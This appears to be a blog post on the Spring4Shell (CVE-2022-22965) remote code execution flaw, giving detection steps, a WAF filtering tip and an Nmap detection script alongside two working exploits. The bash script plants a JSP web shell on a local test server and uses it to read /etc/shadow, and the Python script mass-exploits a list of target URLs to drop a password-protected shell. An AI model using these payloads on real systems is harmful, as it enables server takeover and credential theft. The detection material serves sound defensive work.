Spring4Shell: Spring Core RCE 0-day Vulnerability

Vulnerability Details and Investigation

As one of the world’s most popular Java lightweight open-source framework, Spring allows developers to focus on business logic and simplifies the development cycle of Java enterprise applications.

Exploitation requires an endpoint with DataBinder enabled (e.g. a POST request that decodes data from the request body automatically) and depends heavily on the servlet container for the application. For example, when Spring is deployed to Apache Tomcat, the WebAppClassLoader is accessible, which allows an attacker to call getters and setters to ultimately write a malicious JSP file to disk. However, if Spring is deployed using the Embedded Tomcat Servlet Container the classloader is a LaunchedURLClassLoader which has limited access.

However, in the JDK9 version (and above) of the Spring framework, a remote attacker can obtain the AccessLogValve object and malicious field values through the parameter binding function of the framework on the basis of meeting certain conditions, thereby triggering the pipeline mechanism and writing arbitrary fields. file in the path.

  • It is currently known that triggering this vulnerability requires two basic conditions:
  • Use the Spring MVC framework &  JDK9 and above

(1). Check the JDK version number 

On the running server of the organization system, run the “java -version” command to check the running JDK version. If the version number is less than or equal to 8, it is not affected by the vulnerability.

(2). Check for Spring framework usage

1. If the organization system project is deployed in the form of a war package, follow the steps below to judge.

  • Unzip the war package: Change the suffix of the war file to .zip and unzip the zip file
  • Search for a jar file in spring-beans-*.jar format (for example, spring-beans-5.3.16.jar) in the decompression directory. If it exists, it means that the business system is developed using the spring framework.
  • If the spring-beans-*.jar file does not exist, search for the existence of the CachedIntrospectionResuLts.class file in the decompression directory. If it exists, it means that the business system is developed using the Spring framework.

2. If the organization system project runs directly and independently in the form of a jar package, judge according to the following steps.

  • Unzip the jar package: Change the suffix of the jar file to .zip, and unzip the zip file.
  • Search for a jar file in spring-beans-*.jar format (for example, spring-beans-5.3.16.jar) in the decompression directory. If it exists, it means that the business system is developed using the spring framework.
  • If the spring-beans-*.jar file does not exist, search for the existence of the CachedIntrospectionResuLts.class file in the decompression directory. If it exists, it means that the business system is developed using the spring framework.

(3) Comprehensive Investigation

After completing the above two steps of troubleshooting, the following two conditions are met at the same time to determine that it is affected by this vulnerability:

  1. JDK version number is 9 and above;
  2. using the spring framework or derived framework.

WAF protection

On network protection devices such as WAF, implement rule filtering for strings such as “class.*”, “Class.*”, “*.class.*”, and “*.Class.*” according to the actual traffic situation of deployed services. After filtering the rules, test the business operation to avoid additional impact.

Spring4Shell Vulnerability Scanner

Exploit:-

1.bash

#!/usr/bin/env bash

echo "[+] Starting Tomcat 9.0 server with Spring Boot application vulnerable to Spring4Shell..."

docker-compose up -d


echo "[+] Waiting 10 seconds for server to start..."


sleep 10


echo "[SERVER][+] webapps/ROOT dir before exploit"

docker-compose exec app ls webapps/ROOT

echo


echo "[+] Exploiting Spring4Shell vulnerability in server: http://localhost:8080/helloworld/greeting"

curl -H "prefix:<%" -H "suffix:%>//" -H "c:Runtime" -H "Content-Type: application/x-www-form-urlencoded" -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8080/helloworld/greeting

echo

echo


echo "[SERVER][+] webapps/ROOT dir after exploit, should include shell.jsp"

docker-compose exec app ls webapps/ROOT

echo


echo "[+] Shell is now accessible at: http://localhost:8080/shell.jsp?cmd=<cmd>"

echo "[+] Waiting 10 seconds..."

sleep 10


echo "[+] Running command: http://localhost:8080/shell.jsp?cmd=id"

curl --output - http://localhost:8080/shell.jsp?cmd=id

echo


echo "[+] Running command: http://localhost:8080/shell.jsp?cmd=cat /etc/shadow"

curl --output - "http://localhost:8080/shell.jsp?cmd=cat%20/etc/shadow"

echo


echo "[+] Running command: http://localhost:8080/shell.jsp?cmd=cat /flag"

curl --output - "http://localhost:8080/shell.jsp?cmd=cat%20/flag"

echo


docker-compose kill && docker-compose rm -f 


2.python

#coding:utf-8


import requests

import argparse

from urllib.parse import urljoin


def Exploit(url):

    headers = {"suffix":"%>//",

                "c1":"Runtime",

                "c2":"<%",

                "DNT":"1",

                "Content-Type":"application/x-www-form-urlencoded"


    }

    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    try:


        go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)

        shellurl = urljoin(url, 'tomcatwar.jsp')

        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)

        if shellgo.status_code == 200:

            print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")

    except Exception as e:

        print(e)

        pass





def main():

    parser = argparse.ArgumentParser(description='Srping-Core Rce.')

    parser.add_argument('--file',help='url file',required=False)

    parser.add_argument('--url',help='target url',required=False)

    args = parser.parse_args()

    if args.url:

        Exploit(args.url)

    if args.file:

        with open (args.file) as f:

            for i in f.readlines():

                i = i.strip()

                Exploit(i)


if __name__ == '__main__':

    main()


1. spring4shell-scan

A fully automated, reliable, and accurate scanner for finding Spring4Shell and Spring Cloud RCE vulnerabilities

Link:- https://github.com/fullhunt/spring4shell-scan

2. Nmap Script

CVE-2022-22965.nse


description = [[

Spring Framework 5.2.x / 5.3.x CVE-2022-22965 Remote Code Execution Vulnerability


This script looks the existence of CVE-2022-22965 Spring Framework 5.2.x / 5.3.x RCE 

uses a payload "/?class.module.classLoader.definedPackages%5B0%5D=0" through a GET request

looking (400) code as response (NON INTRUSIVE)


Inspired by:


@Twitter thread

The following non-malicious request can be used to test susceptibility to the @springframework 0day RCE. An HTTP 400 return code indicates vulnerability.$ curl host:port/path?class.module.classLoader.URLs%5B0%5D=0#SpringShell #Spring4Shell #infosec— Randori Attack Team (@RandoriAttack) March 30, 2022


@ZAP Scan Rule  

https://www.zaproxy.org/blog/2022-04-04-spring4shell-detection-with-zap/


Manual inspection: 


# curl -i -s -k -X $'GET' 

-H $'Host: <target>' 

-H $'User-Agent: alex666'  

-H $'Connection: close' 

$'https://<target>/path/foo/?class.module.classLoader.URLs%5B0%5D=0' | grep -i 400


# curl -i -s -k -X $'GET' 

-H $'Host: <target>' 

-H $'User-Agent: alex666'  

-H $'Connection: close' 

$'https://<target>/path/foo/?class.module.classLoader.definedPackages%5B0%5D=0' | grep -i 400


References:

https://github.com/alt3kx/CVE-2022-22965

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965 

https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities

https://github.com/BobTheShoplifter/Spring4Shell-POC

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework

]]


---

-- @usage

-- nmap -p <port> --script=./CVE-2022-22965.nse [--script-args 'CVE-2022-22965.path=<PATH>,CVE-2022-22965.method=<HTTP METHOD>'] <target>

-- @args CVE-2022-22965.path URI path to test; must be a valid path that accepts one or more parameters using data binding (default: <code>/</code>).

-- @args CVE-2022-22965.method HTTP request method to use (default: <code>GET</code>).

-- 

-- @examples:

-- nmap -p443,8080 --script=./CVE-2022-22965.nse <target> -Pn

-- nmap -p443,8080 --script=./CVE-2022-22965.nse <target> --script-args 'CVE-2022-22965.path="/path/to/test"' -Pn

-- nmap -p443,8080 --script=./CVE-2022-22965.nse <target> --script-args 'CVE-2022-22965.path="/path/to/test",CVE-2022-22965.method=POST' -Pn

-- nmap -p443,8080 --script=./CVE-2022-22965.nse <target> --script-args=CVE-2022-22965.path="/path/foo/download/" -Pn --script-trace | more

-- nmap -p443,8080 --script=./CVE-2022-22965.nse --script-args=CVE-2022-22965.path="/examples/" -Pn -iL targets.txt

-- 

-- @output

-- PORT    STATE SERVICE

-- 443/tcp open  https

-- | CVE-2022-22965: 

-- |   VULNERABLE:

-- |   Spring Framework 5.2.x 5.3.x RCE

-- |     State: VULNERABLE (Exploitable)

-- |     IDs:  CVE:CVE-2022-22965

-- |       Within Spring Core, A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable 

-- |       to remote code execution (RCE) via data binding.

-- |     Disclosure date: 2022-03-31

-- |     References:

-- |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965



author = "Alex Hernandez aka alt3kx <alt3kx@protonmail.com>"

license = "Same as Nmap--See http://nmap.org/book/man-legal.html"

categories = {"vuln", "exploit"}


local shortport = require "shortport"

local http = require "http"

local stdnse = require "stdnse"

local string = require "string"

local vulns = require "vulns"


portrule = shortport.http


local S4S1 = "Tomcat"

local S4S2 = "springframework"

local S4S3 = "Tomcat"

local S4S4 = "Tomcat"


--Payloads: 

--GET checker path2 = "/?class.module.classLoader.DefaultAssertionStatus=nosense"

--GET checker path1 = "/?class.module.classLoader.URLs%5B0%5D=0"

local S4S_PAYLOAD = "class.module.classLoader.definedPackages%5B0%5D=0"


action = function(host, port)


    local vuln = {

        title = "Spring Framework 5.2.x 5.3.x RCE",

        state = vulns.STATE.NOT_VULN,

        IDS = { CVE = 'CVE-2022-22965' },

description = [[

Within Spring Core, A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable 

to remote code execution (RCE) via data binding.]], 

references = {

           'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965'

       },

       dates = {

           disclosure = {year = '2022', month = '03', day = '31'},

       },


    }   

    

    local report = vulns.Report:new(SCRIPT_NAME, host, port)


    local method = string.upper(stdnse.get_script_args("CVE-2022-22965.method") or "GET")

    local path = stdnse.get_script_args("CVE-2022-22965.path") or "/"

    local options = {header={["Content-Type"]="application/x-www-form-urlencoded"}}

    if method == "GET" then

        path = path .. "?" .. S4S_PAYLOAD

    else

        options["content"] = S4S_PAYLOAD

    end

    local response = http.generic_request(host, port, method, path, options)


    if response.status and response.body then 


      if response.status == 400 and string.find(response.body, S4S1) ~= nil then  

          stdnse.debug2("Apache Tomcat Spring Framework 5.2.x / 5.3.x returned 400")

          vuln.state = vulns.STATE.EXPLOIT

        end 

        --500 Internal Server Error , Spring Framework 5.2.x / 5.3.x Exceptions 

        if response.status == 500 and string.find(response.body, S4S2) ~= nil then  

            stdnse.debug2("Apache Tomcat Spring Framework 5.2.x / 5.3.x returned 500")

            vuln.state = vulns.STATE.EXPLOIT

          end 

        

        if response.status == 200 and string.find(response.body, S4S3) ~= nil then  

        

            stdnse.debug2("Apache Tomcat Spring Framework 5.2.x / 5.3.x returned 200")

            vuln.state = vulns.STATE.NOT_VULN

        end


        if response.status == 404 and string.find(response.body, S4S4) ~= nil then  

        

            stdnse.debug2("Apache Tomcat Spring Framework 5.2.x / 5.3.x returned 404")

            vuln.state = vulns.STATE.NOT_VULN

        end


        else 

          stdnse.debug2("Apache Tomcat Spring Framework 5.2.x / 5.3.x returned unknow response.")

          vuln.state = vulns.STATE.UNKNOWN

    end

    return report:make_output (vuln)

end



Post a Comment

Previous Post Next Post